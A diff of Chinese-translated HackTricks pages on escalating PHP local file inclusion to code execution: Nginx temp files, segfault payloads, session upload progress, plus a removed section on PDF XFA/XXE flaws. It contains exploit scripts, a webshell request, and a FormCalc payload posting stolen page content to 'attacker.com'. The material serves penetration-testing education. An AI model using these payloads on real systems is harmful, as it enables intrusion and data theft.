- 禁止应用程序包含不必要的文件。
|
||||||
|
- 限制 Nginx 临时文件的读取权限。
|
||||||
|
- 定期清理 `/var/lib/nginx/body` 目录下的临时文件。
|
||||||
|
|
||||||
|
通过理解和利用 Nginx 的行为,攻击者可以将一个简单的 LFI 漏洞升级为 RCE。防御措施应该包括限制文件包含功能和加强服务器配置。
|
||||||
```
|
```
|
||||||
|
|
||||||
4. Use the LFI vulnerability to include the crafted payload into a PHP file on the target server.
|
|
||||||
5. Trigger the inclusion of the PHP file containing the payload.
|
|
||||||
6. The payload will write the malicious PHP file to the Nginx temporary directory.
|
|
||||||
7. Execute the payload by accessing the malicious PHP file through the web server. For example:
|
|
||||||
|
|
||||||
```
|
|
||||||
http://target.com/nginx_temp/malicious.php?cmd=whoami
|
|
||||||
```
|
|
||||||
|
|
||||||
## Mitigation
|
|
||||||
|
|
||||||
To prevent this type of attack, it is recommended to:
|
|
||||||
|
|
||||||
- Regularly update Nginx to the latest version.
|
|
||||||
- Restrict access to the Nginx temporary directory.
|
|
||||||
- Implement input validation and sanitization to prevent LFI vulnerabilities.
|
|
||||||
- Use a Web Application Firewall (WAF) to detect and block malicious requests.
|
|
||||||
|
|
||||||
## Conclusion
|
|
||||||
|
|
||||||
Exploiting Nginx temporary files can allow an attacker to escalate an LFI vulnerability to RCE. It is important for web administrators to be aware of this technique and take appropriate measures to secure their servers.
|
|
||||||
```
|
```
|
||||||
$ ./pwn.py 127.0.0.1 1337
|
$ ./pwn.py 127.0.0.1 1337
|
||||||
[*] cpus: 2; pid_max: 32768
|
[*] cpus: 2; pid_max: 32768
|
||||||
|
@ -203,7 +190,7 @@ $ ./pwn.py 127.0.0.1 1337
|
||||||
```
|
```
|
||||||
### 另一个漏洞利用
|
### 另一个漏洞利用
|
||||||
|
|
||||||
这是来自[https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)的内容。
|
这来自 [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
import threading
|
import threading
|
||||||
|
@ -312,12 +299,14 @@ read_file_multiprocess(requests_session, nginx_pids)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS hacking!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的hacking技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
# 通过分段错误实现LFI2RCE
|
# 通过段错误实现LFI2RCE
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)上**关注**我们。
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
根据写作报告[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)(第二部分)和[https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view),以下payloads导致了PHP中的段错误:
|
||||||
根据[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)(第二部分)和[https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view)的写作,以下负载在PHP中引起了分段错误:
|
|
||||||
```php
|
```php
|
||||||
// PHP 7.0
|
// PHP 7.0
|
||||||
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||||
|
@ -20,11 +21,11 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||||
// PHP 7.2
|
// PHP 7.2
|
||||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||||
```
|
```
|
||||||
你应该知道,如果你发送一个包含文件的POST请求,PHP会在`/tmp/php<something>`中创建一个临时文件,其中包含该文件的内容。一旦请求被处理,这个文件就会被自动删除。
|
您应该知道,如果您**发送**一个**包含**文件的**POST**请求,PHP将在`/tmp/php<something>`中创建一个**临时文件**,其中包含该文件的内容。一旦请求处理完毕,这个文件将会**自动删除**。
|
||||||
|
|
||||||
如果你发现了一个LFI漏洞,并且成功触发了PHP的分段错误,那么这个临时文件将永远不会被删除。因此,你可以利用LFI漏洞搜索这个文件,直到找到它并执行任意代码。
|
如果您发现了一个**LFI**,并且您设法在PHP中**触发**一个段错误,那么**临时文件将永远不会被删除**。因此,您可以利用**LFI**漏洞去**搜索**它,直到找到它并执行任意代码。
|
||||||
|
|
||||||
你可以使用Docker镜像[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)进行测试。
|
您可以使用docker镜像[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)进行测试。
|
||||||
```python
|
```python
|
||||||
# upload file with segmentation fault
|
# upload file with segmentation fault
|
||||||
import requests
|
import requests
|
||||||
|
@ -69,12 +70,14 @@ main()
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
# 通过PHP_SESSION_UPLOAD_PROGRESS进行LFI2RCE
|
# 通过 PHP\_SESSION\_UPLOAD\_PROGRESS 实现 LFI 至 RCE
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### 基本信息
|
### 基本信息
|
||||||
|
|
||||||
如果你发现了一个**本地文件包含**漏洞,即使你**没有会话**并且`session.auto_start`是`Off`。如果**`session.upload_progress.enabled`**是**`On`**,并且你在**多部分POST**数据中提供了**`PHP_SESSION_UPLOAD_PROGRESS`**,PHP将会**为你启用会话**。
|
如果您发现了一个**本地文件包含**,即使您**没有会话**且 `session.auto_start` 为 `Off`。如果 **`session.upload_progress.enabled`** 为 **`On`** 并且您在 **multipart POST** 数据中提供了 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 将为您**启用会话**。
|
||||||
```bash
|
```bash
|
||||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||||
$ ls -a /var/lib/php/sessions/
|
$ ls -a /var/lib/php/sessions/
|
||||||
|
@ -28,31 +29,33 @@ $ ls -a /var/lib/php/sessions/
|
||||||
|
|
||||||
In the last example the session will contain the string blahblahblah
|
In the last example the session will contain the string blahblahblah
|
||||||
```
|
```
|
||||||
请注意,通过**`PHP_SESSION_UPLOAD_PROGRESS`**,您可以**控制会话中的数据**,因此如果您包含会话文件,您可以包含您控制的部分(例如,一个php shellcode)。
|
请注意,使用 **`PHP_SESSION_UPLOAD_PROGRESS`** 可以**控制会话中的数据**,因此如果您包含了会话文件,您可以包含一个您控制的部分(例如一个php shellcode)。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
尽管互联网上的大多数教程都建议您将`session.upload_progress.cleanup`设置为`Off`以进行调试。但是PHP的默认`session.upload_progress.cleanup`仍然是`On`。这意味着您的会话中的上传进度将尽快被清除。因此,这将是**竞争条件**。
|
尽管大多数互联网上的教程都建议您将 `session.upload_progress.cleanup` 设置为 `Off` 以便调试。PHP 中的默认 `session.upload_progress.cleanup` 仍然是 `On`。这意味着您的会话中的上传进度将尽快被清除。所以这将是**竞态条件**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### CTF
|
### CTF
|
||||||
|
|
||||||
在评论此技术的[**原始CTF**](https://blog.orange.tw/2018/10/)中,仅利用竞争条件是不够的,加载的内容还需要以字符串`@<?php`开头。
|
在[**原始 CTF**](https://blog.orange.tw/2018/10/)中评论了这项技术,仅利用竞态条件是不够的,加载的内容还需要以字符串 `@<?php` 开头。
|
||||||
|
|
||||||
由于`session.upload_progress.prefix`的默认设置,我们的**SESSION文件将以一个烦人的前缀**`upload_progress_`开头,例如:`upload_progress_controlledcontentbyattacker`
|
由于 `session.upload_progress.prefix` 的默认设置,我们的 **SESSION 文件将以一个烦人的前缀** `upload_progress_` 开头,例如:`upload_progress_controlledcontentbyattacker`
|
||||||
|
|
||||||
去除初始前缀的技巧是将有效载荷**进行3次base64编码**,然后通过`convert.base64-decode`过滤器进行解码,这是因为当**base64解码时,PHP会删除奇怪的字符**,所以经过3次后,只有攻击者发送的**有效载荷**将**保留**(然后攻击者可以控制初始部分)。
|
**移除初始前缀**的技巧是将有效载荷**进行三次 base64 编码**,然后通过 `convert.base64-decode` 过滤器解码,这是因为在**base64 解码时 PHP 将移除奇怪的字符**,所以经过三次之后,**只有**攻击者**发送的** **有效载荷** **保留**(然后攻击者可以控制初始部分)。
|
||||||
|
|
||||||
更多信息请参阅原始写作[https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/)和最终利用[https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
更多信息在原始文章[https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/)和最终利用代码[https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||||
另一个写作在[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
另一篇文章在[https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,146 +2,26 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
#### 内容来自[https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
|
||||||
|
|
||||||
### Reader中的Javascript函数可用于从外部实体读取数据 (CVE-2014-8452)
|
|
||||||
|
|
||||||
状态: 已修复\
|
|
||||||
实际情况: 未修复\
|
|
||||||
\
|
|
||||||
这个漏洞是关于我发现的一个简单的XXE漏洞。\
|
|
||||||
我阅读了论文"Polyglots: Crossing Origins by Crossing Formats",其中讨论了XMLData.parse中的一个漏洞。可以使用外部实体并引用它们。\
|
|
||||||
我阅读了规范,发现除了"parse"之外还有更多用于读取XML的函数。\
|
|
||||||
我创建了一个简单的XML文件,引用了同一域中的一个URL,并使用loadXML解析它。\
|
|
||||||
它起作用了:
|
|
||||||
|
|
||||||
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
|
|
||||||
```
|
|
||||||
7 0 obj
|
|
||||||
<<
|
|
||||||
/Type /Action
|
|
||||||
/S /JavaScript
|
|
||||||
/JS (
|
|
||||||
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
|
||||||
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
|
||||||
xml = XMLData.parse(cXMLDoc,false);
|
|
||||||
xml.loadXML(cXMLDoc2,false,true);
|
|
||||||
)
|
|
||||||
>>
|
|
||||||
endobj
|
|
||||||
```
|
|
||||||
\
|
|
||||||
影响有限,因为:
|
|
||||||
o)仅限于同源
|
|
||||||
o)HTML页面会破坏XML
|
|
||||||
o)不支持动态实体
|
|
||||||
o)我曾经想过使用utf-16的XML来避免破坏XML结构,但是没有成功。
|
|
||||||
|
|
||||||
但是它仍然可以用来读取JSON。
|
|
||||||
|
|
||||||
### Reader中的同源策略绕过(CVE-2014-8453)
|
|
||||||
|
|
||||||
状态:已修复
|
|
||||||
实际情况:已修复,但同源仍然存在漏洞!
|
|
||||||
|
|
||||||
在我看来,这是最强大的漏洞。即使没有同源绕过,它也展示了PDF的强大和可怕之处。
|
|
||||||
很多人知道PDF支持一种名为Javascript的脚本语言,但还有另一种。
|
|
||||||
在Adobe Reader支持的文件类型XFA的规范中提到了它。
|
|
||||||
它被称为formcalc,它的功能不是很强大。它用于简单的数学计算。但在Adobe的规范中,
|
|
||||||
还有三个额外的函数:'GET','POST'和'PUT'。是的,它们的名字说明了一切。
|
|
||||||
'GET'有一个参数:一个URL。它将使用浏览器(是的,包括Cookies)来检索URL并返回其内容。
|
|
||||||
然后,我们可以使用'POST'将返回的内容发送到我们自己的服务器:
|
|
||||||
|
|
||||||
var content = GET("myfriends.php");
|
|
||||||
Post("http://attacker.com",content);
|
|
||||||
|
|
||||||
这些函数是同源的,所以一个网站需要允许我们上传PDF。对于大多数网站来说,这并不是那么不切实际。
|
|
||||||
attacker.com不是同源的,所以你需要设置一个crossdomain.xml,就像Adobe产品一样。
|
|
||||||
|
|
||||||
总结一下:这不是一个bug,这是一个功能。一旦你被允许在网站上上传PDF,
|
|
||||||
你就可以在查看PDF的用户的上下文中访问该网站。因为请求是由浏览器发出的,所以Cookies也会被发送。你还可以使用它来突破任何通过读取令牌来保护的CSRF保护机制。
|
|
||||||
```
|
|
||||||
% a PDF file using an XFA
|
|
||||||
% most whitespace can be removed (truncated to 570 bytes or so...)
|
|
||||||
% Ange Albertini BSD Licence 2012
|
|
||||||
|
|
||||||
% modified by insertscript
|
|
||||||
|
|
||||||
%PDF-1. % can be truncated to %PDF-\0
|
|
||||||
|
|
||||||
1 0 obj <<>>
|
|
||||||
stream
|
|
||||||
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
|
||||||
<config><present><pdf>
|
|
||||||
<interactive>1</interactive>
|
|
||||||
</pdf></present></config>
|
|
||||||
<template>
|
|
||||||
<subform name="_">
|
|
||||||
<pageSet/>
|
|
||||||
<field id="Hello World!">
|
|
||||||
<event activity="initialize">
|
|
||||||
<script contentType='application/x-formcalc'>
|
|
||||||
var content = GET("myfriends.php");
|
|
||||||
Post("http://attacker.com",content);
|
|
||||||
</script>
|
|
||||||
</event>
|
|
||||||
</field>
|
|
||||||
</subform>
|
|
||||||
</template>
|
|
||||||
</xdp:xdp>
|
|
||||||
endstream
|
|
||||||
endobj
|
|
||||||
|
|
||||||
trailer <<
|
|
||||||
/Root <<
|
|
||||||
